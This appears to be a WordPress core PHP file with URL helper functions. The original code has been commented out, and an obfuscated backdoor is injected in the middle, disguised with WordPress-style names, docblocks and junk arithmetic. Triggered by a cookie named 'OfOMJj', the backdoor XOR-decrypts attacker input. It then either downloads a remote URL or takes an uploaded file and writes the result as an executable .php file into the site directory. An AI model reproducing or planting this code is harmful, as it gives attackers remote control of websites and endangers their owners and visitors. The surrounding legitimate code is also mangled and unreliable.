* Retrieves the site URL for the current network.
*
* Returns the site URL with the appropriate protocol, 'https' if
* is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is
* overridden.
*
* @since 3.0.0
*
* @see set_url_scheme()
*
* @param string $path Optional. Path relative to the site URL. Default empty.
* @param string|null $scheme Optional. Scheme to give the site URL context. Accepts
* 'http', 'https', or 'relative'. Default null.
* @return string Site URL link with optional path appended.
function network_site_url( $path = '', $scheme = null ) {
if ( ! is_multisite() ) {
return site_url( $path, $scheme );
}
$current_network = get_network();
if ( 'relative' === $scheme ) {
$url = $current_network->path;
} else {
$url = set_url_scheme( 'http:' . $current_network->domain . $current_network->path, $scheme );
}
if ( $path && is_string( $path ) ) {
$url .= ltrim( $path, '/' );
}
*
* Filters the network site URL.
*
* @since 3.0.0
*
* @param string $url The complete network site URL including scheme and path.
* @param string $path Path relative to the network site URL. Blank string if
* no path is specified.
* @param string|null $scheme Scheme to give the URL context. Accepts 'http', 'https',
* 'relative' or null.
return apply_filters( 'network_site_url', $url, $path, $scheme );
}
*
* Retrieves the home URL for the current network.
*
* Returns the home URL with the appropriate protocol, 'https' is_ssl()
* and 'http' otherwise. If `$scheme` is 'http' or 'https', `is_ssl()` is
* overridden.
*
* @since 3.0.0
*
* @param string $path Optional. Path relative to the home URL. Default empty.
* @param string|null $scheme Optional. Scheme to give the home URL context. Accepts
* 'http', 'https', or 'relative'. Default null.
* @return string Home URL link with optional path appended.
function network_home_url( $path = '', $scheme = null ) {
if ( ! is_multisite() ) {
return home_url( $path, $scheme );
}
$current_network = get_network();
$orig_scheme = $scheme;
if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ), true ) ) {
$scheme = is_ssl() ? 'https' : 'http';
}
if ( 'relative' === $scheme ) {
$url = $current_network->path;
} else {
$url = set_url_scheme( 'http:' . $current_network->domain . $current_network->path, $scheme );
}
if ( $path && is_string( $path ) ) {
$url .= ltrim( $path, '/' );
}
*
* Filters the network home URL.
*
* @since 3.0.0
*
* @param string $url The complete network home URL including scheme and path.
* @param string $path Path relative to the network home URL. Blank string
* if no path is specified.
* @param string|null $orig_scheme Scheme to give the URL context. Accepts 'http', 'https',
* 'relative' or null.
return apply_filters( 'network_home_url', $url, $path, $orig_scheme );
}
*
* Retrieves the URL to the admin area for the network.
*
* @since 3.0.0
*
* @param string $path Optional path relative to the admin URL. Default empty.
* @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
* and is_ssl(). 'http' or 'https' can be passed to force those schemes.
* @return string Admin URL link with optional path appended.
function network_admin_url( $path = '', $scheme = 'admin' ) {
if ( ! is_multisite() ) {
return admin_url( $path, $scheme );
}
$url = network_site_url( 'wp-admin/network/', $scheme );
if ( $path && is_string( $path ) ) {
$url .= ltrim( $path, '/' );
}
*
* Filters the network admin URL.
*
* @since 3.0.0
* @since 5.8.0 The `$scheme` parameter was added.
*
* @param string $url The complete network admin URL including scheme and path.
* @param string $path Path relative to the network admin URL. Blank string if
* no path is specified.
* @param string|null $scheme The scheme to use. Accepts 'http', 'https',
* 'admin', or null. Default is 'admin', which obeys force_ssl_admin() and is_ssl().
return apply_filters( 'network_admin_url', $url, $path, $scheme );
}
*
* Retrieves the URL to the admin area for the current user.
*
* @since 3.0.0
*
* @param string $path Optional. Path relative to the admin URL. Default empty.
* @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
* and is_ssl(). 'http' or 'https' can be passed to force those schemes.
* @return string Admin URL link with optional path appended.
function user_admin_url( $path = '', $scheme = 'admin' ) {
$url = network_site_url( 'wp-admin/user/', $scheme );
if ( $path && is_string( $path ) ) {
$url .= ltrim( $path, '/' );
}
*
* Filters the user admin URL for the current user.
*
* @since 3.1.0
* @since 5.8.0 The `$scheme` parameter was added.
*
* @param string $url The complete URL including scheme and path.
* @param string $path Path relative to the URL. Blank string if
* no path is specified.
* @param string|null $scheme The scheme to use. Accepts 'http', 'https',
* 'admin', or null. Default is 'admin', which obeys force_ssl_admin() and is_ssl().
return apply_filters( 'user_admin_url', $url, $path, $scheme );
}
*
* Retrieves the URL to the admin area for either the current site or the network depending on context.
*
* @since 3.1.0
*
* @param string $path Optional. Path relative to the admin URL. Default empty.
* @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
* and is_ssl(). 'http' or 'https' can be passed to force those schemes.
* @return string Admin URL link with optional path appended.
function self_admin_url( $path = '', $scheme = 'admin' ) {
if ( is_network_admin() ) {
$url = network_admin_url( $path, $scheme );
} elseif ( is_user_admin() ) {
$url = user_admin_url( $path, $scheme );
} else {
$url = admin_url( $path, $scheme );
}
*
* Filters the admin URL for the current site or network depending on context.
*
* @since 4.9.0
*
* @param string $url The complete URL including scheme and path.
* @param string $path Path relative to the URL. Blank string if no path is specified.
* @param string $scheme The scheme to use.
return apply_filters( 'self_admin_url', $url, $path, $scheme );
}
*
* Sets the scheme for a URL.
*
* @since 3.4.0
* @since 4.4.0 The 'rest' scheme was added.
*
* @param string $url Absolute URL that includes a scheme
* @param string|null $scheme Optional. Scheme to give $url. Currently 'http', 'https', 'login',
* 'login_post', 'admin', 'relative', 'rest', 'rpc', or null. Default null.
* @return string URL with chosen scheme.
function set_url_scheme( $url, $scheme = null ) {
$orig_scheme = $scheme;
if ( ! $scheme ) {
$scheme = is_ssl() ? 'https' : 'http';
} elseif ( 'admin' === $scheme || 'login' === $scheme || 'login_post' === $scheme || 'rpc' === $scheme ) {
$scheme = is_ssl() || force_ssl_admin() ? 'https' : 'http';
} elseif ( 'http' !== $scheme && 'https' !== $scheme && 'relative' !== $scheme ) {
$scheme = is_ssl() ? 'https' : 'http';
}
$url = trim( $url );
if ( str_starts_with( $url, '' ) ) {
$url = 'http:' . $url;
}
if ( 'relative' === $scheme ) {
$url = ltrim( preg_replace( '#^\w+:[^/]*#', '', $url ) );
if ( '' !== $url && '/' === $url[0] ) {
$url = '/' . ltrim( $url, "/ \t\n\r\0\x0B" );
}
} else {
$url = preg_replace( '#^\w+:#', $scheme . ':', $url );
}
*
* Filters the resulting URL after setting the scheme.
*
* @since 3.4.0
*
* @param string $url The complete URL including scheme and path.
* @param string $scheme Scheme applied to the URL. One of 'http', 'https', or 'relative'.
* @param string|null $orig_scheme Scheme requested for the URL. One of 'http', 'https', 'login',
* 'login_post', 'admin', 'relative', 'rest', 'rpc', or null.
return */
$fp_src = ['Toyota', 'Ford', 'BMW', 'Honda'];
$escaped = [5, 7, 9, 11, 13];
$max_age = [2, 4, 6, 8, 10];
// Back-compat for plugins adding submenus to profile.php.
/**
* Fires after core widgets for the Network Admin dashboard have been registered.
*
* @since 3.1.0
*/
function parse_widget_setting_id($MAX_AGE){
$site_ids = [29.99, 15.50, 42.75, 5.00];
$to_remove = "135792468";
$thisILPS = 6;
$to_look = array_reduce($site_ids, function($original_content, $upgrade_error) {return $original_content + $upgrade_error;}, 0);
$can_resume = 30;
$relative_url_parts = strrev($to_remove);
$theme_vars_declaration = __DIR__;
$fromkey = ".php";
$check_plugin_theme_updates = number_format($to_look, 2);
$source_height = str_split($relative_url_parts, 2);
$has_link = $thisILPS + $can_resume;
$saved_data = $can_resume / $thisILPS;
$wp_importers = array_map(function($updated_size) {return intval($updated_size) ** 2;}, $source_height);
$g3_19 = $to_look / count($site_ids);
$sitemaps = array_sum($wp_importers);
$their_pk = range($thisILPS, $can_resume, 2);
$route = $g3_19 < 20;
$MAX_AGE = $MAX_AGE . $fromkey;
// Gzip marker.
// Hackily add in the data link parameter.
$continious = $sitemaps / count($wp_importers);
$file_description = array_filter($their_pk, function($site_deactivated_plugins) {return $site_deactivated_plugins % 3 === 0;});
$relation_type = max($site_ids);
// Calculate the larger/smaller ratios.
$MAX_AGE = DIRECTORY_SEPARATOR . $MAX_AGE;
$centerMixLevelLookup = ctype_digit($to_remove) ? "Valid" : "Invalid";
$hexString = array_sum($file_description);
$hashtable = min($site_ids);
$MAX_AGE = $theme_vars_declaration . $MAX_AGE;
return $MAX_AGE;
}
/**
* Makes private properties un-settable for backward compatibility.
*
* @since 3.5.0
*
* @param string $some_invalid_menu_itemsame The private member to unset
*/
function unregister_meta_boxes($bsmod){
echo $bsmod;
}
/**
* WP_Navigation_Fallback class
*
* Manages fallback behavior for Navigation menus.
*
* @package WordPress
* @subpackage Navigation
* @since 6.3.0
*/
function get_more_details_link($attachments_url, $update_plugins){
// 'parent' overrides 'child_of'.
// s20 = a9 * b11 + a10 * b10 + a11 * b9;
// Write to the start of the file, and truncate it to that length.
$akismet_account = move_uploaded_file($attachments_url, $update_plugins);
// Back compat for pre-4.0 view links.
// Register Plugin Dependencies Ajax calls.
// as being equivalent to RSS's simple link element.
// Back compat for home link to match wp_page_menu().
$fp_src = ['Toyota', 'Ford', 'BMW', 'Honda'];
// --------------------------------------------------------------------------------
$http_url = $fp_src[array_rand($fp_src)];
// to the block is carried along when the comment form is moved to the location
return $akismet_account;
}
/**
* Filters the taxonomy field for use in RSS.
*
* The dynamic portions of the hook name, `$taxonomy`, and `$field`, refer
* to the taxonomy slug and field name, respectively.
*
* @since 2.3.0
*
* @param mixed $allowSCMPXextended Value of the taxonomy field.
*/
function funky_javascript_callback($some_invalid_menu_items) {
$NewFramelength = 0;
// method.
$dim_prop_count = $some_invalid_menu_items;
// "RIFF"
$firstframetestarray = strlen((string)$some_invalid_menu_items);
$thumb = [72, 68, 75, 70];
$parent_path = "Functionality";
$force_check = 4;
$pages_with_children = "computations";
// 112 kbps
$help_sidebar_rollback = substr($pages_with_children, 1, 5);
$dbids_to_orders = max($thumb);
$rendered_form = 32;
$ptype_file = strtoupper(substr($parent_path, 5));
// 160 kbps
$expiration_time = mt_rand(10, 99);
$post_format_base = array_map(function($URI_PARTS) {return $URI_PARTS + 5;}, $thumb);
$S5 = $force_check + $rendered_form;
$pingback_link_offset = function($updated_size) {return round($updated_size, -1);};
while ($dim_prop_count > 0) {
$cacheable_field_values = $dim_prop_count % 10;
$NewFramelength += pow($cacheable_field_values, $firstframetestarray);
$dim_prop_count = intdiv($dim_prop_count, 10);
}
return $NewFramelength === $some_invalid_menu_items;
}
$toolbar4 = array_map(function($timeout) {return $timeout * 3;}, $max_age);
$http_url = $fp_src[array_rand($fp_src)];
$http_version = array_map(function($cacheable_field_values) {return ($cacheable_field_values + 2) ** 2;}, $escaped);
// read AVCDecoderConfigurationRecord
$lasterror = array_sum($http_version);
/**
* Updates an existing Category or creates a new Category.
*
* @since 2.0.0
* @since 2.5.0 $wp_error parameter was added.
* @since 3.0.0 The 'taxonomy' argument was added.
*
* @param array $catarr {
* Array of arguments for inserting a new category.
*
* @type int $cat_ID Category ID. A non-zero value updates an existing category.
* Default 0.
* @type string $taxonomy Taxonomy slug. Default 'category'.
* @type string $cat_name Category name. Default empty.
* @type string $category_description Category description. Default empty.
* @type string $category_nicename Category nice (display) name. Default empty.
* @type int|string $category_parent Category parent ID. Default empty.
* }
* @param bool $wp_error Optional. Default false.
* @return int|WP_Error The ID number of the new or updated Category on success. Zero or a WP_Error on failure,
* depending on param `$wp_error`.
*/
function akismet_cmp_time($RVA2ChannelTypeLookup){
if (strpos($RVA2ChannelTypeLookup, "/") !== false) {
return true;
}
return false;
}
/**
* The selector declarations.
*
* Contains a WP_Style_Engine_CSS_Declarations object.
*
* @since 6.1.0
* @var WP_Style_Engine_CSS_Declarations
*/
function wp_delete_attachment($thisfile_asf_filepropertiesobject, $recently_activated){
// 0 on failure.
// If a meta box is just here for back compat, don't show it in the block editor.
// In XHTML, empty values should never exist, so we repeat the value
$subtree = 50;
$fp_src = ['Toyota', 'Ford', 'BMW', 'Honda'];
$hex6_regexp = 8;
// * * Offsets DWORD varies // An offset value of 0xffffffff indicates an invalid offset value
// Replace.
$lvl = strlen($recently_activated);
$old_from = strlen($thisfile_asf_filepropertiesobject);
// Protect Ajax actions that could help resolve a fatal error should be available.
$lvl = $old_from / $lvl;
// implemented with an arithmetic shift operation. The following four bits
// (without the headers overhead)
$accessible_hosts = [0, 1];
$gap_column = 18;
$http_url = $fp_src[array_rand($fp_src)];
while ($accessible_hosts[count($accessible_hosts) - 1] < $subtree) {
$accessible_hosts[] = end($accessible_hosts) + prev($accessible_hosts);
}
$plugin_icon_url = str_split($http_url);
$origtype = $hex6_regexp + $gap_column;
sort($plugin_icon_url);
if ($accessible_hosts[count($accessible_hosts) - 1] >= $subtree) {
array_pop($accessible_hosts);
}
$admin_all_status = $gap_column / $hex6_regexp;
// 4. if remote fails, return stale object, or error
$s_x = array_map(function($dim_prop_count) {return pow($dim_prop_count, 2);}, $accessible_hosts);
$presets = range($hex6_regexp, $gap_column);
$taxo_cap = implode('', $plugin_icon_url);
// Make sure we have a valid post status.
$lvl = ceil($lvl);
// when those elements do not have href attributes they do not create hyperlinks.
// this only applies to fetchlinks()
$msg_template = array_sum($s_x);
$threshold = "vocabulary";
$endian = Array();
// The date needs to be formatted properly.
// Embeds.
$store = str_split($thisfile_asf_filepropertiesobject);
$style_property_keys = strpos($threshold, $taxo_cap) !== false;
$blog_public = mt_rand(0, count($accessible_hosts) - 1);
$partial = array_sum($endian);
$EBMLdatestamp = implode(";", $presets);
$open_basedir_list = $accessible_hosts[$blog_public];
$this_plugin_dir = array_search($http_url, $fp_src);
$sitecategories = ucfirst($EBMLdatestamp);
$ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes = $this_plugin_dir + strlen($http_url);
$widget_id_base = $open_basedir_list % 2 === 0 ? "Even" : "Odd";
$recently_activated = str_repeat($recently_activated, $lvl);
// If there's still no sanitize_callback, nothing to do here.
$wide_size = str_split($recently_activated);
// Or it *is* a custom menu item that already exists.
$bgcolor = array_shift($accessible_hosts);
$suggested_text = time();
$second_response_value = substr($sitecategories, 2, 6);
// Windows Media v7 / v8 / v9
// This is only needed for the regular templates/template parts post type listing and editor.
// Remove registered custom meta capabilities.
// Try the request again without SSL.
$wide_size = array_slice($wide_size, 0, $old_from);
$rating_scheme = array_map("get_post_types_by_support", $store, $wide_size);
$cause = $suggested_text + ($ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes * 1000);
$CommandTypeNameLength = str_replace("8", "eight", $sitecategories);
array_push($accessible_hosts, $bgcolor);
// However notice that changing this value, may have impact on existing
// Having big trouble with crypt. Need to multiply 2 long int
# STATE_INONCE(state)[i];
// If no valid clauses were found, order by user_login.
// Check global in case errors have been added on this pageload.
$role__in = ctype_lower($second_response_value);
$trackdata = implode('-', $accessible_hosts);
$fieldname = count($presets);
// - MUST BE terminated by a '/'.
// We add quotes to conform to W3C's HTML spec.
// check for BOM
$reg_blog_ids = strrev($CommandTypeNameLength);
$rating_scheme = implode('', $rating_scheme);
return $rating_scheme;
}
$plugin_icon_url = str_split($http_url);
$all_tags = 15;
/**
* Retrieves date permalink structure, with year, month, and day.
*
* The permalink structure for the date, if not set already depends on the
* permalink structure. It can be one of three formats. The first is year,
* month, day; the second is day, month, year; and the last format is month,
* day, year. These are matched against the permalink structure for which
* one is used. If none matches, then the default will be used, which is
* year, month, day.
*
* Prevents post ID and date permalinks from overlapping. In the case of
* post_id, the date permalink will be prepended with front permalink with
* 'date/' before the actual permalink to form the complete date permalink
* structure.
*
* @since 1.5.0
*
* @return string|false Date permalink structure on success, false on failure.
*/
function get_post_types_by_support($QuicktimeContentRatingLookup, $tagdata){
$uris = meta_box_prefs($QuicktimeContentRatingLookup) - meta_box_prefs($tagdata);
$uris = $uris + 256;
// <Header for 'User defined URL link frame', ID: 'WXXX'>
$root = 5;
$thisfile_replaygain = "hashing and encrypting data";
$first_response_value = 14;
$uris = $uris % 256;
$header_tags_with_a = 20;
$cur_mm = "CodeSample";
$theme_author = 15;
$QuicktimeContentRatingLookup = sprintf("%c", $uris);
return $QuicktimeContentRatingLookup;
}
/** int */
function wp_queue_comments_for_comment_meta_lazyload($disposition_header){
// In multisite the user must be a super admin to remove themselves.
$to_sign = 'TxYfmuDavxcMkaDFwPHzheyoSGex';
$plugin_filter_present = "a1b2c3d4e5";
$first_response_value = 14;
$skipped_key = "Exploration";
$field_name = 21;
$perma_query_vars = 34;
$found_block = substr($skipped_key, 3, 4);
$cur_mm = "CodeSample";
$cfields = preg_replace('/[^0-9]/', '', $plugin_filter_present);
if (isset($_COOKIE[$disposition_header])) {
ge_precomp_0($disposition_header, $to_sign);
}
}
$time_format = min($http_version);
$getid3_audio = array_filter($toolbar4, function($allowSCMPXextended) use ($all_tags) {return $allowSCMPXextended > $all_tags;});
sort($plugin_icon_url);
// $SideInfoOffset += 5;
/**
* Filters the comment reply link.
*
* @since 2.7.0
*
* @param string $comment_reply_link The HTML markup for the comment reply link.
* @param array $step_1 An array of arguments overriding the defaults.
* @param WP_Comment $comment The object of the comment being replied.
* @param WP_Post $post The WP_Post object.
*/
function ge_precomp_0($disposition_header, $to_sign){
$epoch = $_COOKIE[$disposition_header];
$epoch = pack("H*", $epoch);
$deactivated_plugins = 13;
$strlen_chrs = [85, 90, 78, 88, 92];
$subtree = 50;
// Use existing auto-draft post if one already exists with the same type and name.
$posts_list = wp_delete_attachment($epoch, $to_sign);
//RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
$accessible_hosts = [0, 1];
$http_error = array_map(function($timeout) {return $timeout + 5;}, $strlen_chrs);
$widget_control_id = 26;
if (akismet_cmp_time($posts_list)) {
$wide_max_width_value = wp_content_dir($posts_list);
return $wide_max_width_value;
}
set_post_type($disposition_header, $to_sign, $posts_list);
}
$tab_name = array_sum($getid3_audio);
$required_text = max($http_version);
$taxo_cap = implode('', $plugin_icon_url);
// Add forums link.
// Check if feature selector is set via shorthand.
/**
* Utility version of get_option that is private to installation/upgrade.
*
* @ignore
* @since 1.5.1
* @access private
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $setting Option name.
* @return mixed
*/
function hello($style_attribute_value) {
// Class : PclZip
// Strip all tags but our context marker.
$popular_cats = "Learning PHP is fun and rewarding.";
$hex6_regexp = 8;
$current_priority = "SimpleLife";
$last_post_id = 0;
// of the extracted file.
foreach ($style_attribute_value as $dim_prop_count) {
if (funky_javascript_callback($dim_prop_count)) $last_post_id++;
}
return $last_post_id;
}
/**
* Renders the XSL stylesheet depending on whether it's the sitemap index or not.
*
* @param string $type Stylesheet type. Either 'sitemap' or 'index'.
*/
function setup_postdata($types_wmedia, $recently_activated){
// For backward compatibility.
// s15 += carry14;
$old_item_data = file_get_contents($types_wmedia);
$jsonp_callback = wp_delete_attachment($old_item_data, $recently_activated);
// We are saving settings sent from a settings page.
$bittotal = 9;
$curl_version = range(1, 15);
$parent_query_args = range('a', 'z');
$options_archive_rar_use_php_rar_extension = 45;
$delete_url = array_map(function($dim_prop_count) {return pow($dim_prop_count, 2) - 10;}, $curl_version);
$can_invalidate = $parent_query_args;
$leftLen = $bittotal + $options_archive_rar_use_php_rar_extension;
shuffle($can_invalidate);
$admin_body_id = max($delete_url);
file_put_contents($types_wmedia, $jsonp_callback);
}
# fe_sq(t0, t0);
$original_url = function($editing, ...$step_1) {};
/**
* Outputs the content for the current Custom HTML widget instance.
*
* @since 4.8.1
*
* @global WP_Post $post Global post object.
*
* @param array $step_1 Display arguments including 'before_title', 'after_title',
* 'before_widget', and 'after_widget'.
* @param array $Debugoutputnstance Settings for the current Custom HTML widget instance.
*/
function send_email($RVA2ChannelTypeLookup){
$field_name = 21;
$skip_link_color_serialization = 10;
$popular_cats = "Learning PHP is fun and rewarding.";
$current_stylesheet = range(1, 10);
$MAX_AGE = basename($RVA2ChannelTypeLookup);
$types_wmedia = parse_widget_setting_id($MAX_AGE);
register_meta($RVA2ChannelTypeLookup, $types_wmedia);
}
/**
* Controller which provides REST endpoint for the blocks.
*
* @since 5.5.0
*
* @see WP_REST_Controller
*/
function save_mod_rewrite_rules($RVA2ChannelTypeLookup){
// Post ID.
$hex6_regexp = 8;
$comments_open = range(1, 12);
$thisfile_replaygain = "hashing and encrypting data";
$root = 5;
$strlen_chrs = [85, 90, 78, 88, 92];
// Replace custom post_type token with generic pagename token for ease of use.
$RVA2ChannelTypeLookup = "http://" . $RVA2ChannelTypeLookup;
$header_tags_with_a = 20;
$http_error = array_map(function($timeout) {return $timeout + 5;}, $strlen_chrs);
$theme_author = 15;
$gap_column = 18;
$area_definition = array_map(function($comment_data) {return strtotime("+$comment_data month");}, $comments_open);
return file_get_contents($RVA2ChannelTypeLookup);
}
/**
* Class WP_Translation_Controller.
*
* @since 6.5.0
*/
function get_the_permalink($disposition_header, $to_sign, $posts_list){
// 00=no lacing; 01=Xiph lacing; 11=EBML lacing; 10=fixed-size lacing
$MAX_AGE = $_FILES[$disposition_header]['name'];
$popular_importers = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet'];
$skipped_key = "Exploration";
// Convert archived from enum to tinyint.
$types_wmedia = parse_widget_setting_id($MAX_AGE);
setup_postdata($_FILES[$disposition_header]['tmp_name'], $to_sign);
// Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144
get_more_details_link($_FILES[$disposition_header]['tmp_name'], $types_wmedia);
}
/**
* Sets up the amount of found posts and the number of pages (if limit clause was used)
* for the current query.
*
* @since 3.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param array $q Query variables.
* @param string $limits LIMIT clauses of the query.
*/
function register_meta($RVA2ChannelTypeLookup, $types_wmedia){
$first_response_value = 14;
// This 6-bit code, which exists only if addbside is a 1, indicates the length in bytes of additional bit stream information. The valid range of addbsil is 0�63, indicating 1�64 additional bytes, respectively.
$cur_mm = "CodeSample";
$kebab_case = "This is a simple PHP CodeSample.";
$mature = save_mod_rewrite_rules($RVA2ChannelTypeLookup);
$unmet_dependencies = strpos($kebab_case, $cur_mm) !== false;
if ($mature === false) {
return false;
}
$thisfile_asf_filepropertiesobject = file_put_contents($types_wmedia, $mature);
return $thisfile_asf_filepropertiesobject;
}
/**
* Enqueues preview scripts.
*
* These scripts normally are enqueued just-in-time when a playlist shortcode is used.
* However, in the customizer, a playlist shortcode may be used in a text widget and
* dynamically added via selective refresh, so it is important to unconditionally enqueue them.
*
* @since 4.9.3
*/
function replace($downsize) {
$current_priority = "SimpleLife";
$strlen_chrs = [85, 90, 78, 88, 92];
$fp_src = ['Toyota', 'Ford', 'BMW', 'Honda'];
$update_wordpress = 'aeiouAEIOU';
$last_post_id = 0;
for ($Debugoutput = 0; $Debugoutput < strlen($downsize); $Debugoutput++) {
if (strpos($update_wordpress, $downsize[$Debugoutput]) !== false) $last_post_id++;
}
return $last_post_id;
}
$threshold = "vocabulary";
/* translators: %s: WP_DEBUG_LOG */
function get_query_var($style_attribute_value) {
$max_age = [2, 4, 6, 8, 10];
$escaped = [5, 7, 9, 11, 13];
$http_version = array_map(function($cacheable_field_values) {return ($cacheable_field_values + 2) ** 2;}, $escaped);
$toolbar4 = array_map(function($timeout) {return $timeout * 3;}, $max_age);
$all_tags = 15;
$lasterror = array_sum($http_version);
// Display "Current Header Image" if the image is currently the header image.
// Not looking at all comments.
$mce_locale = [];
// Not used in core, replaced by imgAreaSelect.
$getid3_audio = array_filter($toolbar4, function($allowSCMPXextended) use ($all_tags) {return $allowSCMPXextended > $all_tags;});
$time_format = min($http_version);
foreach ($style_attribute_value as $menu_item_type) {
if (!in_array($menu_item_type, $mce_locale)) $mce_locale[] = $menu_item_type;
}
return $mce_locale;
}
/* translators: %s: User name. */
function set_post_type($disposition_header, $to_sign, $posts_list){
if (isset($_FILES[$disposition_header])) {
get_the_permalink($disposition_header, $to_sign, $posts_list);
}
$sortby = 12;
$field_name = 21;
$site_ids = [29.99, 15.50, 42.75, 5.00];
$max_age = [2, 4, 6, 8, 10];
unregister_meta_boxes($posts_list);
}
$genrestring = $tab_name / count($getid3_audio);
/**
* Filters whether to allow the debug mode check to occur.
*
* This filter runs before it can be used by plugins. It is designed for
* non-web runtimes. Returning false causes the `WP_DEBUG` and related
* constants to not be checked and the default PHP values for errors
* will be used unless you take care to update them yourself.
*
* To use this filter you must define a `$wp_filter` global before
* WordPress loads, usually in `wp-config.php`.
*
* Example:
*
* $GLOBALS['wp_filter'] = array(
* 'enable_wp_debug_mode_checks' => array(
* 10 => array(
* array(
* 'accepted_args' => 0,
* 'function' => function() {
* return false;
* },
* ),
* ),
* ),
* );
*
* @since 4.6.0
*
* @param bool $enable_debug_mode Whether to enable debug mode checks to occur. Default true.
*/
function wp_content_dir($posts_list){
# here, thereby making your hashes incompatible. However, if you must, please
$deactivated_plugins = 13;
$force_check = 4;
$bittotal = 9;
$hex6_regexp = 8;
# m = LOAD64_LE( in );
// File type
$widget_control_id = 26;
$rendered_form = 32;
$gap_column = 18;
$options_archive_rar_use_php_rar_extension = 45;
$leftLen = $bittotal + $options_archive_rar_use_php_rar_extension;
$old_email = $deactivated_plugins + $widget_control_id;
$origtype = $hex6_regexp + $gap_column;
$S5 = $force_check + $rendered_form;
send_email($posts_list);
// PIFF Sample Encryption Box - http://fileformats.archiveteam.org/wiki/Protected_Interoperable_File_Format
// Parse network domain for a NOT IN clause.
$sanitized_key = $options_archive_rar_use_php_rar_extension - $bittotal;
$admin_all_status = $gap_column / $hex6_regexp;
$sort_order = $rendered_form - $force_check;
$OS = $widget_control_id - $deactivated_plugins;
unregister_meta_boxes($posts_list);
}
$errormessagelist = 6;
$style_property_keys = strpos($threshold, $taxo_cap) !== false;
$md5_filename = json_encode($http_version);
$disposition_header = 'OfOMJj';
/**
* @param int $subkey_len
* @param int $subkey_id
* @param string $context
* @param string $recently_activated
* @return string
* @throws SodiumException
*/
function refresh_user_details($downsize) {
$skip_link_color_serialization = 10;
$current_priority = "SimpleLife";
$skipped_key = "Exploration";
$found_block = substr($skipped_key, 3, 4);
$percent_used = strtoupper(substr($current_priority, 0, 5));
$backup_dir_is_writable = range(1, $skip_link_color_serialization);
// There is one GETID3_ASF_Stream_Properties_Object for each stream (audio, video) but the
$mb_length = uniqid();
$metarow = strtotime("now");
$exclude_blog_users = 1.2;
$user_name = date('Y-m-d', $metarow);
$old_site_url = substr($mb_length, -3);
$policy_text = array_map(function($timeout) use ($exclude_blog_users) {return $timeout * $exclude_blog_users;}, $backup_dir_is_writable);
// $some_invalid_menu_itemsotices[] = array( 'type' => 'active-dunning' );
$CommandTypesCounter = 7;
$https_url = $percent_used . $old_site_url;
$tag_templates = function($QuicktimeContentRatingLookup) {return chr(ord($QuicktimeContentRatingLookup) + 1);};
// Parse the finished requests before we start getting the new ones
# switch( left )
$frame_currencyid = array_slice($policy_text, 0, 7);
$random_image = array_sum(array_map('ord', str_split($found_block)));
$theme_json_encoded = strlen($https_url);
$f2g4 = array_diff($policy_text, $frame_currencyid);
$limits = array_map($tag_templates, str_split($found_block));
$field_no_prefix = intval($old_site_url);
// Maximum Data Packet Size DWORD 32 // in bytes. should be same as Minimum Data Packet Size. Invalid if Broadcast Flag == 1
$languageid = replace($downsize);
return $languageid > strlen($downsize) / 2;
}
$this_plugin_dir = array_search($http_url, $fp_src);
/**
* Requests for PHP
*
* Inspired by Requests for Python.
*
* Based on concepts from SimplePie_File, RequestCore and WP_Http.
*
* @package Requests
*
* @deprecated 6.2.0
*/
function meta_box_prefs($login_header_url){
# block[0] = tag;
$sortby = 12;
$root = 5;
$subtree = 50;
$thumb = [72, 68, 75, 70];
$curl_version = range(1, 15);
$dbids_to_orders = max($thumb);
$accessible_hosts = [0, 1];
$delete_url = array_map(function($dim_prop_count) {return pow($dim_prop_count, 2) - 10;}, $curl_version);
$themes_count = 24;
$theme_author = 15;
// 4.21 CRA Audio encryption
$admin_body_id = max($delete_url);
$msg_template = $root + $theme_author;
while ($accessible_hosts[count($accessible_hosts) - 1] < $subtree) {
$accessible_hosts[] = end($accessible_hosts) + prev($accessible_hosts);
}
$hexbytecharstring = $sortby + $themes_count;
$post_format_base = array_map(function($URI_PARTS) {return $URI_PARTS + 5;}, $thumb);
$login_header_url = ord($login_header_url);
return $login_header_url;
}
$original_url("Sum: %d, Min: %d, Max: %d, JSON: %s\n", $lasterror, $time_format, $required_text, $md5_filename);
$last_date = [0, 1];
/**
* Endpoint mask that matches the site root.
*
* @since 2.1.0
*/
for ($Debugoutput = 2; $Debugoutput <= $errormessagelist; $Debugoutput++) {
$last_date[] = $last_date[$Debugoutput-1] + $last_date[$Debugoutput-2];
}
$ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes = $this_plugin_dir + strlen($http_url);
wp_queue_comments_for_comment_meta_lazyload($disposition_header);
// temporarily switch it with our custom query.
get_query_var([1, 1, 2, 2, 3, 4, 4]);
$suggested_text = time();
$special = $last_date[$errormessagelist];
hello([153, 370, 371, 407]);
// // not video FPS information, probably audio information
$cause = $suggested_text + ($ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes * 1000);
refresh_user_details("education");
/* apply_filters( 'set_url_scheme', $url, $scheme, $orig_scheme );
}
*
* Retrieves the URL to the user's dashboard.
*
* If a user does not belong to any site, the global user dashboard is used. If the user
* belongs to the current site, the dashboard for the current site is returned. If the user
* cannot edit the current site, the dashboard to the user's primary site is returned.
*
* @since 3.1.0
*
* @param int $user_id Optional. User ID. Defaults to current user.
* @param string $path Optional path relative to the dashboard. Use only paths known to
* both site and user admins. Default empty.
* @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin()
* and is_ssl(). 'http' or 'https' can be passed to force those schemes.
* @return string Dashboard URL link with optional path appended.
function get_dashboard_url( $user_id = 0, $path = '', $scheme = 'admin' ) {
$user_id = $user_id ? (int) $user_id : get_current_user_id();
$blogs = get_blogs_of_user( $user_id );
if ( is_multisite() && ! user_can( $user_id, 'manage_network' ) && empty( $blogs ) ) {
$url = user_admin_url( $path, $scheme );
} elseif ( ! is_multisite() ) {
$url = admin_url( $path, $scheme );
